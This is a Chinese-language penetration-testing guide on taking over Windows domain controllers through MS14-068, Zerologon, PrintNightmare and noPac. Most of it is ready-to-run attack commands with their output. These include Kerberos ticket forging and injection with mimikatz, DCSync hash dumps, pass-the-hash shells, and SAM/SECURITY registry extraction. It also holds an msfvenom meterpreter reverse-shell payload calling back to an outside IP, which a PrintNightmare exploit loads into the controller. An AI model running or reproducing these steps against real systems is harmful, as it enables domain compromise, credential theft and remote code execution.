域控获取方式

@wintry大约 9 分钟

针对不同的域控环境,攻击域控制器获取域管理权限的方式

1)通过抓取域管登陆服务器的hash(不断抓HASH+PTH攻击)

2)通过运维人员不恰当的密码管理(弱口令、Wiki系统等记录域高权限账户)

3)通过域控相关的漏洞

4)通过域内的中继(域控中存在强制NTLM认证漏洞,在其中做NTLM中继获取域控制权限)

5)通过委派来获取域控权限

域漏洞

MS14068(CVE-2008-4037)

漏洞概述

域里面最严重的漏洞之一,它允许任意用户提升到域管权限。该漏洞最本质在于Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书(PAC)中的有效签名,导致用户可以自己构造一张PAC。

影响范围

Windows Server 2003/2008/2012

1)测试访问域控

dir \\dc1.dtsec.lab\c$

#显示拒绝访问

2)清空票据缓存

域用户由于存在本身缓存的tgt,在打exp前需要先klist purge

klist
klist purge

3)获取本机用户的SID

whoami/all

#用户名          SID
#=============== =============================================
#dtsec\liangchen S-1-5-21-3814579517-564282474-2733855526-1104

4)伪造证书

下载EXP:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068open in new window

MS14-068.exe -u liangchen@dtsec.lab -p lcmjnht123NB -s S-1-5-21-3814579517-564282474-2733855526-1104 -d dc1.dtsec.lab

5)注入票据

mimikatz.exe "kerberos::ptc TGT_liangchen@dtsec.lab.ccache" exit

6)连接域控

#权限测试
net use \\dc1.dtsec.lab\admin$  
dir \\dc1.dtsec.lab\c$

#获取Shell
#https://github.com/crupper/Forensics-Tool-Wiki/tree/master/windowsTools
psexec.exe \\dc1.dtsec.lab cmd.exe

Zerologon(CVE-2020-1472)

漏洞概述

Netlogon是Windows Server进程,用于对域中的用户和其他服务进行身份验证。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。

影响范围

Windows Server 2019
Windows Server 2016
Windows Server 2012 R2
Windows Server 2012
Windows Server 2008 R2
Windows Server 2008
Windows Server 2003 R2
Windows Server 2003

1)用密码导出域控HASH对比

仅用作对比,实际渗透无需这一步

proxychains secretsdump.py dtsec.lab/Administrator:'2012version@2021pass'@10.68.35.111 -just-dc

#Administrator:500:aad3b435b51404eeaad3b435b51404ee:485690e8d2950fae63188a2043a283d6:::
#Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
#krbtgt:502:aad3b435b51404eeaad3b435b51404ee:35979bcdcf5a21465bbde6eaa90568be:::
#DC1$:1001:aad3b435b51404eeaad3b435b51404ee:33060ebc1169ad2b0c19cc5cdba4a5b8:::

2)使用EXP将机器账户重置

EXP下载:https://github.com/dirkjanm/CVE-2020-1472open in new window

python cve-2020-1472-exploit.py dc1$ 10.68.35.111

可再导一次hash,看看密码是否为空

#DC1$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 空密码

3)DCSync导出域用户凭据

域控的机器账户可以使用DCSync导出域内所有用户凭据

利用DRS(Directory Replication Service,目录复制服务)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据。

#导出所有用户的凭据
proxychains secretsdump.py dtsec.lab/dc1\$@10.68.35.111 -no-pass

#只看域控本地管理员凭证
proxychains secretsdump.py dtsec.lab/dc1\$@10.68.35.111 -no-pass -just-dc | grep 'Administrator'

#Administrator:500:aad3b435b51404eeaad3b435b51404ee:485690e8d2950fae63188a2043a283d6:::

4)HASH传递打域控

然后使用wmic利用HASH传递 拿到域控制器中的本地管理员权限(域管),可添加账户

proxychains wmiexec.py -codec gbk -hashes aad3b435b51404eeaad3b435b51404ee:485690e8d2950fae63188a2043a283d6 dtsec.lab/Administrator@10.68.35.111

#[!] Launching semi-interactive shell - Careful what you execute
#[!] Press help for extra shell commands
#C:\>whoami
#dtsec\administrator

5)恢复DC$机器账户的密码

拷贝SAM数据回来

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

#把导出的数据下载回来

del /f system.save
del /f sam.save
del /f security.save

提取出机器账号的明文hex

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

#$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:33060ebc1169ad2b0c19cc5cdba4a5b8

恢复域控机器账户的密码

下载reinstall_original_pw.pyhttps://github.com/risksense/zerologonopen in new window

proxychains python reinstall_original_pw.py DC1\$ 10.68.35.111 33060ebc1169ad2b0c19cc5cdba4a5b8
#Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.

再用空密码导出hash试试,不能成功就是恢复了

proxychains secretsdump.py dtsec.lab/dc1\$@10.68.35.111 -no-pass
漏洞概述

这个漏洞级别属于稍次于Zerologon的打域利器之一;

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。

影响范围

Windows Server 2019
Windows Server 2016
Windows Server 2012

利用条件

  1. 一个普通域账号/或者机器账号权限 (可账号密码或者hash)
  2. pDriverPath 知道一个驱动的绝对路径,和系统版本有关
CVE编号:CVE-2021-1675、CVE-2021-34527
补丁号:KB5003671、KB5003681

有安全研究员在github上公开了"CVE-2021-1675"的exp PrintNightmare,后经验证公开的exp是一个与CVE-2021-1675不同的漏洞,微软为其分配了新的编号CVE-2021-34527。

用到了impacket工具包

扫描域控是否开启了 Print Spooler 服务

rpcdump.py @10.68.35.112 | egrep 'MS-RPRN|MS-PAR'

本地提权

下载EXP:https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1open in new window

在本地管理员组添加一个用户

#打开PowerShell
Import-Module .CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "prtest" -NewUser "admin886" -NewPassword "@admin.886"

远程提权

1)SMB 设置-攻击载荷托管

托管有效负载的最简单方法是使用samba并修改/etc/samba/smb.conf以允许匿名访问

mv /etc/samba/smb.conf /etc/samba/smb.conf.bak
cat >> /etc/samba/smb.conf << EOF
[global]
    map to guest = Bad User
	server role = standalone server
	usershare allow guests = yes
	idmap config * : backend = tdb
	smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = nobody
EOF

systemctl restart smb.service

Windows

管理员权限powershell执行以下命令

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

2)生成攻击载荷

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=212.129.244.167 LPORT=9001 -f exe -o addCube.dll

3)RCE攻击

EXP下载:https://github.com/cube0x0/CVE-2021-1675open in new window

python CVE-2021-1675.py dtsec.lab/liangchen:lcmjnht666NB@10.68.35.112 '\\212.129.244.167\smb\addCube.dll'
python CVE-2021-1675.py dtsec.lab/liangchen:lcmjnht666NB@10.68.35.112 'C:\addCube.dll'

#后边是攻击载荷路径

NoPAC(CVE-2021-42287)

漏洞概述

CVE-2021-42287 & CVE-2021-42278两个漏洞组合可导致域内普通用户提升至域管权限。

需要对属性 sAMAccountNameservicePrincipalName 具有写权限;

由于默认情况下 MAQopen in new window 特性,域内普通用户可以创建 10 个机器账户,而创建者对于机器账户具有写权限,当然可以更改这两个属性。

影响范围

windows Server 2008 - 2022所有版本

漏洞原理如下

CVE-2021-42278

windows 域内的机器账户的名字以 $ 结尾,但 DC 没有对域内机器账户名做验证。与 CVE-2021-42287 结合使用,它允许攻击者冒充域控制器账户。

CVE-2021-42287

在 kerberos 认证过程中,用户要访问某个服务,在获取服务票据 ST 之前,需要申请 TGT票据。

该漏洞的核心为:当请求的服务票 ST 没有被 KDC 找到时,KDC 会自动在尾部添加 $ 重新搜索。

如果 A 用户获得申请了 TGT,然后删除 A 用户或重命名 A 用户;

并使用该 TGT 进行 S4U2self 以其它用户身份请求一张 ST 给自己,导致 KDC 在 Account Database 中寻找 A$;

如果帐户 A$ 存在,那么 A 就会像其他用户一样为 A$获得一张服务票据。

因此,机器账户改名为和 DC 机器账户一样,然后申请 TGT,接着把用户名修改掉,使得 DC 在 TGS_REP 时候找不到该账户,这时会用自己的密钥加密服务票据 ST,然后就得到了一个高权限 ST

sAMAccountName

SAM-Account-Name 用于支持运行早期版本操作系统的客户端和服务器的登录名,例如 Windows NT 4.0、Windows 95、Windows 98 和 LAN Manager。实际上是以「Domain\LogonName 」形式命名。

其 Ldap-Display-Name 为:sAMAccountName,故该组合漏洞又被称为:sAMAccountName spoofing

此处还有一种用户命名属性,是目前域环境中常用的一种:UPNuserPrincipalName 属性是用户的登录名。

属性由 UPN (用户主体) ,这是用户最常见的登录 Windows 名称。 用户通常使用其 UPN 登录到域。

UPN 由 UPN 前缀(用户帐户名)和 UPN 后缀(DNS 域名)组成。 前缀与后缀以 @ 符号相联接。UPN 必须在目录林中的所有安全主体对象之间保持唯一。

#sAMAccountName
DTSEC\libai

#UPN
libai@dtsec.lab

S4U2self

在TGSREQ & TGSREP阶段,用户通过AS_REP拿到的TGT票据,去向KDC申请特定服务的访问权限;

KDC校验TGT票据,如果校验通过的话,会向用户发送一个TGS票据,之后用户再拿着TGS去访问特定的服务;

这一阶段,微软引进了两个扩展S4U2SELF和S4U2PROXY。

S4U2self 使得服务可以代表用户获得针对服务自身的kerberos服务票据。

这使得服务可以获得用户的授权( 可转发的用户TGS票据),然后将其用于后期的认证(s4u2proxy);

服务代表用户获得针对服务自身的kerberos票据这个过程,服务是不需要用户的凭据的。

利用步骤

1)首先使用 impacket 的 addcomputer.py或是 powermad创建一个机器账户

addcomputer.py是利用 SAMR协议 创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除。

2)然后清除机器账户的 servicePrincipalName 属性

3)将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带 $

4)为机器账户请求 TGT

5)将机器账户的 sAMAccountName 更改为其他名字,不与步骤 3 重复即可

6)通过 S4U2self 协议向 DC 请求 ST

7)DCsync 域控同步

#1 创建一个机器账号
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC1 -domain-netbios domain 'domain.local/user1:complexpassword'

#2 清除SPN记录
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

#3 机器账户重命名 (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

#4 为机器账户请求一个TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'

#5 机器账户重命名(不与第三步重复即可)
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

#6 通过 S4U2self 协议向 DC 请求 ST
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

#7 DCSync
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'

武器化利用

工具地址:https://github.com/cube0x0/noPacopen in new window

这个漏洞需要新建一个机器账户, -mAccount为新建机器账户名,-mPassword为密码

#扫描验证
noPac.exe scan -domain dtsec.lab -user liangchen -pass lcmjnht666NB

#利用
noPac.exe -domain dtsec.lab -user liangchen -pass lcmjnht666NB /dc dc1.dtsec.lab /mAccount demol /mPassword pAss123! /service cifs /ptt

#查看域控文件
dir \\DC1.dtsec.lab\c$

#查看内存凭据
klist